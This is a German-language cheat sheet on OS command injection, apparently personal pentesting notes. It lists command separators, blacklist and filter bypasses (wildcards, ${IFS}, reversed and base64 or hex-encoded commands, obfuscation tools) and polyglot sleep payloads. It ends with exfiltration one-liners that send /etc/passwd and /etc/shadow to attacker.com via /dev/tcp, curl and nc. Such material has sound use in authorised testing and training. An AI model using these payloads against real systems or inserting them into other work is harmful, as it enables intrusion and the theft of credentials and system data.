Command Injection
Manchmal benötigen Applikationen externe Anwendungen auf dem Computer, dazu werden Programme aufgerufen und diese aufgerufen.
Da diese in einer shell Umgebung aufgerufen werden können leicht weitere Kommandos ausgeführt werden.
Manchmal ist die kontrollierbare eingabe in anführungszeichen. Dann müssen diese geschlossen werden.
Auch ist es möglich, das #oast Techniken benutzt werden müssen um blind Command Injections auszunutzen.
| Purpose | Linux | Windows |
|---|---|---|
| current user | whoami | whoami |
| OS | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Processes | ps -ef | tasklist |
Tools
Argument Injection
https://sonarsource.github.io/argument-injection-vectors/ Auch kann die Argument injection in Windows mit worst fit benutzt werden. Dabei wird bei der Umwandlung von Konvertierungen nicht existente Zeichen in ähnliche Übersetzt. Auch können Argument Injections auf GtfoArgs gefunden werden.
Kommando separierer
&&&|||Die folgenden funktionieren nur unter Unix basierten Systemen:;command1%0acommand2# %0a represents \ncommand1%0dcommand2# %0d represents \r
Unter Linux ist es zudem möglich die inline execution von Kommandos zu nutzen:
`
injected command`
$(
injected command)
In einem Kommando
Innerhalb eines Kommandos können auch Befehle ausgeführt werden.
Dazu können entweder Backticks oder die substitution genutzt werden:
command `ls` $(ls)
# Nested substitution
$(echo `whoami`) # Nested classic in modern
`echo $(hostname)` # Nested modern in classic
Umgehen von Eingabeschutzmechanismen
Um bad character zu vermeiden kann der Befehl: bash -c '' verwendet werden.
Bypass Techniken
https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#filter-bypasses
Umgehen von geblacklisteten Zeichen
Um zeichen zu umgehen, können diese von Umgebungsvariablen geholt werden.
Beispielsweise wird aus der Variable ${PATH:0:1} ein / und aus der Variable ${LS_COLORS:10:1} ein ;.
Mit dem Kommando printenv kann nach weiteren nützlichen gesperrten Zeichen gesucht werden.
Eine weitere Möglichkeit ist das character shifting: $(tr '!-}' '"-~'<<<[) -> \.
Umgehung in Windows
Das Umgehen mit geblacklisteten Zeichen ist auch in Windows möglich, wenn auch ein bißchen anders.
Beispielsweise wenn die Variable %HOMEPATH% zu \Users\htb-student auflöst, könnte als Start 6 genutzt werden und als Ende -11: %HOMEPATH:~6,-11%.
In Powershell ist dies noch einfacher, da hier ein Wort ein Array ist: $env:HOMEPATH[0].
In Powershell kann das Kommando Get-ChildItem Env: genutzt werden, um alle Variablen anzuzeigen.
Umgehung geblacklisteter Kommandos
In Linux können geblacklistete Kommandos umgangen werden, indem Zeichen eingefügt werden, die das Kommando nicht verändern.
Dazu gehören die Anführungszeichen, wobei beachtet werden muss, dass diese in gerader Anzahl benutzt werden müssen: w'h'o"am"i.
Weitere Möglichkeiten sind die Nutzung der Zeichen \ und $@: w\h$@oami.
In Windows kann das Zeichen ^ benutzt werden.
Umgehen von geblacklisteten whitespaces
Es kann auch sein, dass whitespaces verboten sind, hierfür ist eine Möglichkeit das Tab %09 welches Betriebssystemunabhängig ist.
Eine weitere Möglichkeit in Linux ist die Variable ${IFS}, welche allerdings nicht in subshells genutzt werden kann.
Zudem gibt es noch die Brace Expansion: {ls,-la} und X=$'cat\x20/etc/passwd'&&$X.
cat</etc/passwd # Line feed tabs
cat$'\x20'/etc/passwd
Umgehung geblacklisteter Kommandos
Auch werden manchmal Kommandos geblacklistet, wobei diese dann so verändert werden müssen, dass sie die Filter umgehen.
Ein Beispiel ist: $(printf "whoami").
Auch ist es möglich dies mit Variablen substitution zu erreichen: COMMAND=whoami;$COMMAND
Umgehung geblacklisteter Pfade
Mithilfe von wildcards ist es möglich geblacklistete Pfade zu umgehen.
/???/??t /??c/p??s??
/bin/c?t /etc/p?ssw?
Umgehung durch rückwärtskommandos
Auch ist es möglich Kommandos rückwärts zu schreiben und dies wieder rückgängig zu machen: $(rev<<<'imaohw').
In der Windows Powershell funktioniert dies mit: iex "$('imaohw'[-1..-20] -join '')".
Umgehung von Case sensitivity
Bei Windows kann ausgenutzt werden, dass alle Befehle Case intensitiv interpretiert werden, also Groß/Kleinschreibung ignoriert wird.
Linux hingegen ist case sensitiv, weshalb hier der case angepasst werden muss: $(tr "[A-Z]" "[a-z]"<<<"WhOaMi"). Daneben gibt es auch noch andere Kommandos für Bash wie: $(a="WhOaMi";printf %s "${a,,}").
Umgehung durch Enkodierung
Auch ist es möglich Enkodierungen wie base64 oder xxd zu nutzen: bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIA==).
Bei der enkodierung für Windows, muss zuerst der String von UTF-8 zu UTF-16 konvertiert werden, wenn man auf Linux ist: echo -n whoami | iconv -f utf-8 -t utf-16le | base64.
Nun kann der Befehl iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" genutzt werden für Powershell.
Base64 encoding
echo "Y2F0IC9ldGMvcGFzc3dk"|base64 -d|bash
export CMD="Y2F0IC9ldGMvcGFzc3dk";bash<<<$(base64 -d<<<$CMD)
Hex encoding
bash<<<$(xxd -r -p<<<776863616D69) # whoami in hex
Double encoding
$(echo -e "\x77\x68\x6f\x61\x6d\x69") # whoami in hex
Unicode encoding
㎈㎉㎊㎋㎌㎍㎎ # Using Unicode lookalikes
HTML encoding
whoami # whoami in HTML entities
Obfuskator Script
Mit dem Skript Bashfuscator können toolbasierte Enkodierungen erzeugt werden.
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 --test
Ein ähnliches Tool gibt es für Windows den Dosfuscator, dieses kann durch die Installation von Powershell ausgeführt werden.
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Polyglot Payloads
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Zeitbasierte Tests
Linux delay commands
ping -c 10 127.0.0.1 # 10 sekunden verzögerung mit ping
sleep 10 # Schlaf Kommando
perl -e "sleep 10" # Perl basierte verzögerung
python -c "import time; time.sleep(10)" # Python verzögerung
Windows delay commands
ping -n 10 127.0.0.1 # Windows ping verzögerung
timeout 10 # Windows timeout Kommando
Start-Sleep -s 10 # PowerShell Schlafen
Time based Extraktion
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
Argumente nach der Injektion beenden
In Unix Shells kann das -- als Zeichen des Ende eines Kommandos angezeigt werden.
Alle Argumente nach dem -- werden als Dateinamen und Argumente betrachtet aber nicht als Optionen.
Nuclei
Run command injection templates
nuclei -u http://target.com -t cmd-injection/
Run with custom templates
nuclei -u http://target.com -t custom-cmd.yaml
Severity based scanning
nuclei -u http://target.com -t cmd-injection/ -severity critical,high
Daten exfiltration
File reading
$(cat /etc/passwd > /dev/tcp/attacker.com/4444)
; base64 /etc/shadow | curl -d @- http://attacker.com
System enumeration
; find / -perm -4000 2>/dev/null
; netstat -an | nc attacker.com 4444